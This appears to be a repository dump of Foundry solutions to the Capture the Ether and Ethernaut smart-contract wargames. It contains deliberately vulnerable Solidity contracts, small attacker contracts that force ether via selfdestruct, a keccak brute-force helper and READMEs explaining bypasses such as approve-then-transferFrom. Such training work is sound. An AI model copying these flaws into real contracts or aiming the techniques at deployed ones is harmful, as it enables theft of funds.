├── src ├── Capture_the_Ether │ ├── Math │ │ ├── Mapping │ │ │ ├── img │ │ │ │ ├── evm_account.png │ │ │ │ └── account_storage.png │ │ │ ├── MappingChallenge.sol │ │ │ └── MappingChallenge.t.sol │ │ ├── Fifty_years │ │ │ ├── Attacker.sol │ │ │ └── FiftyYearsChallenge.sol │ │ ├── Retirement_fund │ │ │ ├── Attacker.sol │ │ │ ├── RetirementFundChallenge.sol │ │ │ └── README.md │ │ ├── Token_sale │ │ │ ├── TokenSaleChallenge.sol │ │ │ ├── README.md │ │ │ └── TokenSaleChallenge.t.sol │ │ ├── Donation │ │ │ ├── DonationChallenge.sol │ │ │ └── DonationChallenge.t.sol │ │ └── Token_whale │ │ │ ├── TokenWhaleChallenge.t.sol │ │ │ ├── README.md │ │ │ └── TokenWhaleChallenge.sol │ ├── Warmup │ │ ├── Call_me │ │ │ ├── CallMeChallenge.sol │ │ │ ├── README.md │ │ │ └── CallMeChallenge.t.sol │ │ ├── Deploy_a_contract │ │ │ ├── DeployChallenge.sol │ │ │ ├── DeployChallenge.t.sol │ │ │ └── DeployChallenge.s.sol │ │ └── Choose_a_nickname │ │ │ ├── NicknameChallenge.sol │ │ │ ├── NicknameChallenge.t.sol │ │ │ └── README.md │ ├── Lotteries │ │ ├── Guess_the_secret_number │ │ │ ├── get_hash │ │ │ │ ├── Cargo.toml │ │ │ │ └── src │ │ │ │ │ └── main.rs │ │ │ ├── GuessTheSecretNumberChallenge.sol │ │ │ ├── GuessTheSecretNumberChallenge.t.sol │ │ │ └── README.md │ │ ├── Guess_the_number │ │ │ ├── GuessTheNumberChallenge.sol │ │ │ ├── GuessTheNumberChallenge.t.sol │ │ │ └── README.md │ │ ├── Guess_the_new_number │ │ │ ├── GuessTheNewNumberChallenge.sol │ │ │ ├── Attacker.sol │ │ │ ├── GuessTheNewNumberChallenge.t.sol │ │ │ └── README.md │ │ ├── Guess_the_random_number │ │ │ └── GuessTheRandomNumberChallenge.sol │ │ ├── Predict_the_block_hash │ │ │ ├── README.md │ │ │ ├── PredictTheBlockHashChallenge.sol │ │ │ └── PredictTheBlockHashChallenge.t.sol │ │ └── Predict_the_future │ │ │ ├── PredictTheFutureChallenge.sol │ │ │ ├── Attacker.sol │ │ │ ├── PredictTheFutureChallenge.t.sol │ │ │ └── README.md │ ├── Accounts │ │ ├── Fuzzy_identity │ │ │ ├── get_addr │ │ │ │ ├── Cargo.toml │ │ │ │ └── src │ │ │ │ │ ├── main.rs │ │ │ │ │ └── lib.rs │ │ │ ├── Attacker.sol │ │ │ └── FuzzyIdentityChallenge.sol │ │ ├── Account_Takeover │ │ │ ├── AccountTakeoverChallenge.sol │ │ │ ├── priv_key │ │ │ │ └── Cargo.toml │ │ │ └── AccountTakeoverChallenge.t.sol │ │ └── Public_Key │ │ │ ├── PublicKeyChallenge.sol │ │ │ ├── pubkey │ │ │ ├── Cargo.toml │ │ │ └── src │ │ │ │ └── main.rs │ │ │ ├── PublicKeyChallenge.t.sol │ │ │ └── README.md │ └── Miscellaneous │ │ ├── Assume_ownership │ │ ├── AssumeOwnershipChallenge.sol │ │ ├── README.md │ │ └── AssumeOwnershipChallenge.t.sol │ │ └── Token_bank │ │ ├── README.md │ │ ├── Attacker.sol │ │ └── TokenBankChallenge.t.sol ├── Ethernaut │ ├── MagicNumber │ │ ├── image │ │ │ └── contractCreationWorkflow.png │ │ ├── Solver.huff │ │ ├── MagicNum.sol │ │ ├── MagicNumFactory.sol │ │ └── MagicNum.t.sol │ ├── Force │ │ ├── Force.sol │ │ ├── ForceFactory.sol │ │ ├── Force.t.sol │ │ └── README.md │ ├── base │ │ ├── Level-05.sol │ │ ├── Level-06.sol │ │ ├── Level.sol │ │ └── Level-08.sol │ ├── Telephone │ │ ├── Telephone.sol │ │ ├── TelephoneFactory.sol │ │ ├── Telephone.t.sol │ │ └── README.md │ ├── Vault │ │ ├── Vault.sol │ │ ├── VaultFactory.sol │ │ ├── Vault.t.sol │ │ └── README.md │ ├── readme.md │ ├── Elevator │ │ ├── Elevator.sol │ │ ├── ElevatorFactory.sol │ │ ├── Elevator.t.sol │ │ └── README.md │ ├── HigherOrder │ │ ├── HigherOrder.sol │ │ ├── HigherOrderFactory.sol │ │ ├── HigherOrder.t.sol │ │ └── README.md │ ├── Shop │ │ ├── ShopFactory.sol │ │ ├── Shop.sol │ │ ├── Shop.t.sol │ │ └── README.md │ ├── Coin_Flip │ │ ├── CoinFlipFactory.sol │ │ ├── CoinFlip.sol │ │ ├── README.md │ │ └── CoinFlip.t.sol │ ├── Naught_Coin │ │ ├── NaughtCoinFactory.sol │ │ ├── README.md │ │ ├── NaughtCoin.t.sol │ │ └── NaughtCoin.sol │ ├── Alien_Codex │ │ ├── AlienCodexFactory.sol │ │ ├── AlienCodex.sol │ │ ├── AlienCodex.t.sol │ │ └── README.md │ ├── Switch │ │ ├── SwitchFactory.sol │ │ ├── Switch.sol │ │ └── README.md │ ├── Token │ │ ├── README.md │ │ ├── Token.sol │ │ ├── TokenFactory.sol │ │ └── Token.t.sol │ ├── Fallout │ │ ├── FalloutFactory.sol │ │ ├── README.md │ │ ├── Fallout.t.sol │ │ └── Fallout.sol │ ├── Hello_Ethernaut │ │ ├── InstanceFactory.sol │ │ ├── README.md │ │ ├── Instance.sol │ │ └── Instance.t.sol │ ├── King │ │ ├── King.sol │ │ ├── King.t.sol │ │ ├── KingFactory.sol │ │ └── README.md │ ├── Privacy │ │ ├── Privacy.t.sol │ │ ├── PrivacyFactory.sol │ │ ├── Privacy.sol │ │ └── README.md │ ├── Delegation │ │ ├── Delegation.t.sol │ │ ├── Delegation.sol │ │ ├── README.md │ │ └── DelegationFactory.sol │ ├── Fallback │ │ ├── FallbackFactory.sol │ │ ├── Fallback.t.sol │ │ ├── Fallback.sol │ │ └── README.md │ ├── Gatekeeper_One │ │ ├── GatekeeperOneFactory.sol │ │ ├── GatekeeperOne.t.sol │ │ ├── GatekeeperOne.sol │ │ └── README.md │ ├── Gatekeeper_Two │ │ ├── GatekeeperTwoFactory.sol │ │ ├── README.md │ │ ├── GatekeeperTwo.sol │ │ └── GatekeeperTwo.t.sol │ ├── Good_Samaritan │ │ ├── GoodSamaritanFactory.sol │ │ ├── GoodSamaritan.t.sol │ │ └── README.md │ ├── Gatekeeper_Three │ │ ├── GatekeeperThreeFactory.sol │ │ ├── GatekeeperThree.t.sol │ │ ├── README.md │ │ └── GatekeeperThree.sol │ ├── Denial │ │ ├── Denial.t.sol │ │ ├── README.md │ │ ├── DenialFactory.sol │ │ └── Denial.sol │ ├── Recovery │ │ ├── Recovery.t.sol │ │ ├── Recovery.sol │ │ ├── RecoveryFactory.sol │ │ └── README.md │ ├── Stake │ │ ├── StakeFactory.sol │ │ ├── Stake.t.sol │ │ ├── README.md │ │ └── Stake.sol │ ├── Re-entrancy │ │ ├── Reentrance.sol │ │ ├── ReentranceFactory.sol │ │ ├── Reentrance.t.sol │ │ └── README.md │ ├── Preservation │ │ ├── PreservationFactory.sol │ │ ├── Preservation.t.sol │ │ ├── Preservation.sol │ │ └── README.md │ ├── Dex │ │ ├── Dex.t.sol │ │ └── DexFactory.sol │ ├── Dex_Two │ │ ├── README.md │ │ ├── DexTwo.t.sol │ │ └── DexTwoFactory.sol │ ├── Motorbike │ │ ├── Motorbike.t.sol │ │ ├── MotorbikeFactory.sol │ │ └── README.md │ ├── DoubleEntryPoint │ │ ├── DoubleEntryPoint.t.sol │ │ └── README.md │ └── Puzzle_Wallet │ │ ├── PuzzleWalletFactory.sol │ │ ├── README.md │ │ └── PuzzleWallet.t.sol └── utils │ └── BytesDeployer.sol ├── Cargo.toml ├── .env.example ├── remappings.txt ├── .gitignore ├── foundry.toml ├── .gitmodules ├── .github └── workflows │ └── ci.yml └── LICENSE /src/Capture_the_Ether/Math/Mapping/img/evm_account.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WTFAcademy/WTF-CTF/HEAD/src/Capture_the_Ether/Math/Mapping/img/evm_account.png -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Mapping/img/account_storage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WTFAcademy/WTF-CTF/HEAD/src/Capture_the_Ether/Math/Mapping/img/account_storage.png -------------------------------------------------------------------------------- /src/Ethernaut/MagicNumber/image/contractCreationWorkflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WTFAcademy/WTF-CTF/HEAD/src/Ethernaut/MagicNumber/image/contractCreationWorkflow.png -------------------------------------------------------------------------------- /src/Ethernaut/Force/Force.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Force { /* 5 | MEOW ? 6 | /\_/\ / 7 | ____/ o o \ 8 | /~____ =ø= / 9 | (______)__m_m) 10 | */ } 11 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Fifty_years/Attacker.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract Attacker { 5 | constructor(address payable target) payable { 6 | require(msg.value > 0); 7 | selfdestruct(target); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Warmup/Call_me/CallMeChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract CallMeChallenge { 5 | bool public isComplete = false; 6 | 7 | function callme() public { 8 | isComplete = true; 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Retirement_fund/Attacker.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract Attacker { 5 | constructor(address payable target) payable { 6 | require(msg.value > 0); 7 | selfdestruct(target); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "src/Capture_the_Ether/Lotteries/Guess_the_secret_number/get_hash", 4 | "src/Capture_the_Ether/Accounts/Fuzzy_identity/get_addr", 5 | "src/Capture_the_Ether/Accounts/Public_Key/pubkey", 6 | "src/Capture_the_Ether/Accounts/Account_Takeover/priv_key", 7 | ] 8 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_secret_number/get_hash/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "get_hash" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | sha3 = "0.10" 10 | hex = "0.4" 11 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Fuzzy_identity/get_addr/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "get_addr" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | sha3 = "0.10" 10 | hex = "0.4" 11 | rand = "0.8" 12 | -------------------------------------------------------------------------------- /.env.example: -------------------------------------------------------------------------------- 1 | # RPC URL sourced by scripts, used to send transactions to the blockchain 2 | # or query information on the blockchain 3 | RPC_URL= 4 | 5 | # Private key, used to sign transactions. It is for testing only! 6 | PRIVATE_KEY= 7 | 8 | # Etherscan api key, used to verify contract's source code in etherscan 9 | ETHERSCAN_API_KEY= -------------------------------------------------------------------------------- /remappings.txt: -------------------------------------------------------------------------------- 1 | @openzeppelin/=lib/openzeppelin-contracts-08/ 2 | forge-std/=lib/forge-std/src/ 3 | foundry-huff/=lib/foundry-huff/src/ 4 | openzeppelin-contracts-05/=lib/openzeppelin-contracts-05/contracts/ 5 | openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/ 6 | openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/ 7 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Warmup/Deploy_a_contract/DeployChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract DeployChallenge { 5 | // This tells the CaptureTheFlag contract that the challenge is complete. 6 | function isComplete() public pure returns (bool) { 7 | return true; 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiler files 2 | cache/ 3 | out/ 4 | 5 | # Ignores development broadcast logs 6 | !/broadcast 7 | /broadcast/*/31337/ 8 | /broadcast/**/dry-run/ 9 | 10 | # Docs 11 | docs/ 12 | 13 | # Dotenv file 14 | .env 15 | 16 | # deploy tx 17 | broadcast/ 18 | 19 | # rust build file 20 | target 21 | 22 | Cargo.lock 23 | 24 | .history 25 | .DS_Store 26 | -------------------------------------------------------------------------------- /src/Ethernaut/base/Level-05.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.5.0; 4 | 5 | import "openzeppelin-contracts-05/ownership/Ownable.sol"; 6 | 7 | contract Level is Ownable { 8 | function createInstance(address _player) public payable returns (address); 9 | function validateInstance(address payable _instance, address _player) public returns (bool); 10 | } 11 | -------------------------------------------------------------------------------- /src/Ethernaut/Telephone/Telephone.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Telephone { 5 | address public owner; 6 | 7 | constructor() { 8 | owner = msg.sender; 9 | } 10 | 11 | function changeOwner(address _owner) public { 12 | if (tx.origin != msg.sender) { 13 | owner = _owner; 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/Ethernaut/base/Level-06.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | import "openzeppelin-contracts-06/access/Ownable.sol"; 5 | 6 | abstract contract Level is Ownable { 7 | function createInstance(address _player) public payable virtual returns (address); 8 | function validateInstance(address payable _instance, address _player) public virtual returns (bool); 9 | } 10 | -------------------------------------------------------------------------------- /src/Ethernaut/base/Level.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "@openzeppelin/contracts/access/Ownable.sol"; 6 | 7 | abstract contract Level is Ownable { 8 | function createInstance(address _player) public payable virtual returns (address); 9 | function validateInstance(address payable _instance, address _player) public virtual returns (bool); 10 | } 11 | -------------------------------------------------------------------------------- /src/Ethernaut/base/Level-08.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "openzeppelin-contracts-08/access/Ownable.sol"; 6 | 7 | abstract contract Level is Ownable { 8 | function createInstance(address _player) public payable virtual returns (address); 9 | function validateInstance(address payable _instance, address _player) public virtual returns (bool); 10 | } 11 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Account_Takeover/AccountTakeoverChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract AccountTakeoverChallenge { 5 | address owner = 0xE6984F0F9dC2930bbe0c824d6D67712A6A411062; 6 | bool public isComplete; 7 | 8 | function authenticate() public { 9 | require(msg.sender == owner); 10 | 11 | isComplete = true; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/Ethernaut/Vault/Vault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Vault { 5 | bool public locked; 6 | bytes32 private password; 7 | 8 | constructor(bytes32 _password) { 9 | locked = true; 10 | password = _password; 11 | } 12 | 13 | function unlock(bytes32 _password) public { 14 | if (password == _password) { 15 | locked = false; 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Public_Key/PublicKeyChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract PublicKeyChallenge { 5 | address owner = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045; 6 | bool public isComplete; 7 | 8 | function authenticate(bytes memory publicKey) public { 9 | require(address(uint160(uint256(keccak256(publicKey)))) == owner); 10 | 11 | isComplete = true; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Miscellaneous/Assume_ownership/AssumeOwnershipChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract AssumeOwnershipChallenge { 5 | address owner; 6 | bool public isComplete; 7 | 8 | function AssumeOwmershipChallenge() public { 9 | owner = msg.sender; 10 | } 11 | 12 | function authenticate() public { 13 | require(msg.sender == owner); 14 | 15 | isComplete = true; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/Ethernaut/readme.md: -------------------------------------------------------------------------------- 1 | # 运行 2 | 3 | ## **安装 Foundry** 4 | 5 | 根据 [Foundry 官方文档](https://getfoundry.sh/)配置好运行环境。 6 | 7 | ## **依赖安装** 8 | 9 | ``` 10 | forge install openzeppelin-contracts-05=OpenZeppelin/openzeppelin-contracts@v2.5.0 openzeppelin-contracts-06=OpenZeppelin/openzeppelin-contracts@v3.4.0 openzeppelin-contracts-08=OpenZeppelin/openzeppelin-contracts@v4.8.3 huff-language/foundry-huff 11 | ``` 12 | 13 | ## **进行测试** 14 | 15 | ``` 16 | forge test -C src/Ethernaut 17 | ``` 18 | 19 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Warmup/Deploy_a_contract/DeployChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./DeployChallenge.sol"; 6 | 7 | contract DeployChallengeTest is Test { 8 | DeployChallenge public deployChallenge; 9 | 10 | function setUp() public { 11 | deployChallenge = new DeployChallenge(); 12 | } 13 | 14 | function testIsComplete() public { 15 | assertTrue(deployChallenge.isComplete()); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_secret_number/get_hash/src/main.rs: -------------------------------------------------------------------------------- 1 | use sha3::{Digest, Keccak256}; 2 | 3 | fn main() { 4 | for i in 0..=255 { 5 | let mut hasher = Keccak256::default(); 6 | hasher.update(&[i]); 7 | let bytes_i = hasher.finalize().to_vec(); 8 | let hex_i = hex::encode(bytes_i); 9 | if hex_i.contains("db81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365") { 10 | println!("keccak256({}): {:?}", i, hex_i); 11 | } 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Fuzzy_identity/Attacker.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | interface IFuzzyIdentityChallenge { 5 | function authenticate() external; 6 | } 7 | 8 | contract Attacker { 9 | function hack(address _fuzzy) external { 10 | IFuzzyIdentityChallenge fuzzy = IFuzzyIdentityChallenge(_fuzzy); 11 | fuzzy.authenticate(); 12 | } 13 | 14 | function name() external pure returns (bytes32) { 15 | return bytes32("smarx"); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/Ethernaut/MagicNumber/Solver.huff: -------------------------------------------------------------------------------- 1 | /** 2 | * RETURN 42 () 3 | * 4 | * This huff contract simply returns 42 whenever it is called with/without data and with/without ether 5 | */ 6 | 7 | 8 | #define macro MAIN() = takes(0) returns(0) { 9 | 10 | // store 42 in memory at offset 0 11 | 0x2a // [2a] 12 | 0x00 // [0,2a] 13 | mstore // [] 14 | 15 | // return 42 16 | // return 32 bytes of memory starting at offset 0 17 | 0x20 // [32] 18 | 0x00 // [0,32] 19 | return // [] 20 | } -------------------------------------------------------------------------------- /src/Ethernaut/Elevator/Elevator.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | interface Building { 5 | function isLastFloor(uint256) external returns (bool); 6 | } 7 | 8 | contract Elevator { 9 | bool public top; 10 | uint256 public floor; 11 | 12 | function goTo(uint256 _floor) public { 13 | Building building = Building(msg.sender); 14 | 15 | if (!building.isLastFloor(_floor)) { 16 | floor = _floor; 17 | top = building.isLastFloor(floor); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Mapping/MappingChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.4.21; 3 | 4 | contract MappingChallenge { 5 | bool public isComplete; 6 | uint256[] map; 7 | 8 | function set(uint256 key, uint256 value) public { 9 | // Expand dynamic array as needed 10 | if (map.length <= key) { 11 | map.length = key + 1; 12 | } 13 | 14 | map[key] = value; 15 | } 16 | 17 | function get(uint256 key) public view returns (uint256) { 18 | return map[key]; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/Ethernaut/HigherOrder/HigherOrder.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity 0.6.12; 3 | 4 | contract HigherOrder { 5 | address public commander; 6 | 7 | uint256 public treasury; 8 | 9 | function registerTreasury(uint8) public { 10 | assembly { 11 | sstore(treasury_slot, calldataload(4)) 12 | } 13 | } 14 | 15 | function claimLeadership() public { 16 | if (treasury > 255) commander = msg.sender; 17 | else revert("Only members of the Higher Order can become Commander"); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Warmup/Call_me/README.md: -------------------------------------------------------------------------------- 1 | # Deploy a contract 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/warmup/call-me) 6 | 7 | 题目要求调用 [CallMeChallenge](./CallMeChallenge.sol.sol) 合约的 `callme` 函数来改变 `isComplete` 的值,我们根据实际情况,修改合约里面的 solidity 版本为 `^0.8.19`,并使用 forge test 在本地模拟这个过程。 8 | 9 | 10 | ## 运行 11 | 12 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 13 | 14 | ```sh 15 | $ cd WTF-CTF 16 | 17 | $ forge test -C src/Capture_the_Ether/Warmup/Call_me -vvv 18 | ``` 19 | 20 | ## 功能简述 21 | 22 | 在 CallMeChallenge.t.sol 中调用 `callme` 函数。 -------------------------------------------------------------------------------- /src/Ethernaut/Shop/ShopFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./Shop.sol"; 7 | 8 | contract ShopFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | Shop _shop = new Shop(); 12 | return address(_shop); 13 | } 14 | 15 | function validateInstance(address payable _instance, address) public view override returns (bool) { 16 | Shop _shop = Shop(_instance); 17 | return _shop.price() < 100; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/Ethernaut/Coin_Flip/CoinFlipFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./CoinFlip.sol"; 7 | 8 | contract CoinFlipFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | return address(new CoinFlip()); 12 | } 13 | 14 | function validateInstance(address payable _instance, address) public view override returns (bool) { 15 | CoinFlip instance = CoinFlip(_instance); 16 | return instance.consecutiveWins() >= 10; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/Ethernaut/Force/ForceFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./Force.sol"; 7 | 8 | contract ForceFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | return address(new Force()); 12 | } 13 | 14 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 15 | _player; 16 | Force instance = Force(_instance); 17 | return address(instance).balance > 0; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/Ethernaut/Naught_Coin/NaughtCoinFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./NaughtCoin.sol"; 7 | 8 | contract NaughtCoinFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | return address(new NaughtCoin(_player)); 11 | } 12 | 13 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 14 | NaughtCoin instance = NaughtCoin(_instance); 15 | return instance.balanceOf(_player) == 0; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/Ethernaut/Force/Force.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./ForceFactory.sol"; 6 | 7 | contract ForceTest is Test { 8 | ForceFactory factory; 9 | 10 | function setUp() public { 11 | factory = new ForceFactory(); 12 | } 13 | 14 | function testForce() public { 15 | address force = factory.createInstance(address(this)); 16 | 17 | vm.deal(address(this), 1); 18 | selfdestruct(payable(force)); 19 | 20 | assertTrue(factory.validateInstance(payable(address(force)), address(this))); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_number/GuessTheNumberChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract GuessTheNumberChallenge { 5 | uint8 answer = 42; 6 | 7 | constructor() payable { 8 | require(msg.value == 1 ether); 9 | } 10 | 11 | function isComplete() public view returns (bool) { 12 | return address(this).balance == 0; 13 | } 14 | 15 | function guess(uint8 n) public payable { 16 | require(msg.value == 1 ether); 17 | 18 | if (n == answer) { 19 | payable(msg.sender).transfer(2 ether); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/Ethernaut/Alien_Codex/AlienCodexFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.5.0; 4 | 5 | import "../base/Level-05.sol"; 6 | import "./AlienCodex.sol"; 7 | 8 | contract AlienCodexFactory is Level { 9 | function createInstance(address _player) public payable returns (address) { 10 | _player; 11 | return address(new AlienCodex()); 12 | } 13 | 14 | function validateInstance(address payable _instance, address _player) public returns (bool) { 15 | // _player; 16 | AlienCodex instance = AlienCodex(_instance); 17 | return instance.owner() == _player; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/Ethernaut/HigherOrder/HigherOrderFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity 0.6.12; 3 | 4 | import "../base/Level-06.sol"; 5 | import "./HigherOrder.sol"; 6 | 7 | contract HigherOrderFactory is Level { 8 | function createInstance(address _player) public payable override returns (address) { 9 | _player; 10 | return address(new HigherOrder()); 11 | } 12 | 13 | function validateInstance(address payable _instance, address _player) public override returns (bool) { 14 | HigherOrder instance = HigherOrder(_instance); 15 | return instance.commander() == _player; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/Ethernaut/Elevator/ElevatorFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./Elevator.sol"; 7 | 8 | contract ElevatorFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | Elevator instance = new Elevator(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address) public view override returns (bool) { 16 | Elevator elevator = Elevator(_instance); 17 | return elevator.top(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/Ethernaut/Naught_Coin/README.md: -------------------------------------------------------------------------------- 1 | # Naught Coin 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x80934BE6B8B872B364b470Ca30EaAd8AEAC4f63F) 6 | 7 | NaughtCoin 是一种 ERC20 代币,而且您已经持有这些代币。问题是您只能在 10 年之后才能转移它们。您能尝试将它们转移到另一个地址,以便您可以自由使用它们吗?通过将您的代币余额变为 0 来完成此关卡。 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Naught_Coin -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 先授权给其他人,再让其他人再把钱转走。 22 | 23 | 在使用第三方库时,最好充分了解其实现逻辑,并且尽量使用通过审计或广泛使用的第三方代码库。 24 | 25 | 在这个案例中, 开发人员认为 transfer 函数是移动Token的唯一方法,但发现还有其他方法可以使用不同的实现来执行相同的操作。 -------------------------------------------------------------------------------- /src/Ethernaut/Switch/SwitchFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "../base/Level.sol"; 5 | import "./Switch.sol"; 6 | 7 | contract SwitchFactory is Level { 8 | function createInstance(address _player) public payable override returns (address) { 9 | _player; 10 | Switch _switch = new Switch(); 11 | return address(_switch); 12 | } 13 | 14 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 15 | _player; 16 | Switch _switch = Switch(_instance); 17 | return _switch.switchOn(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- 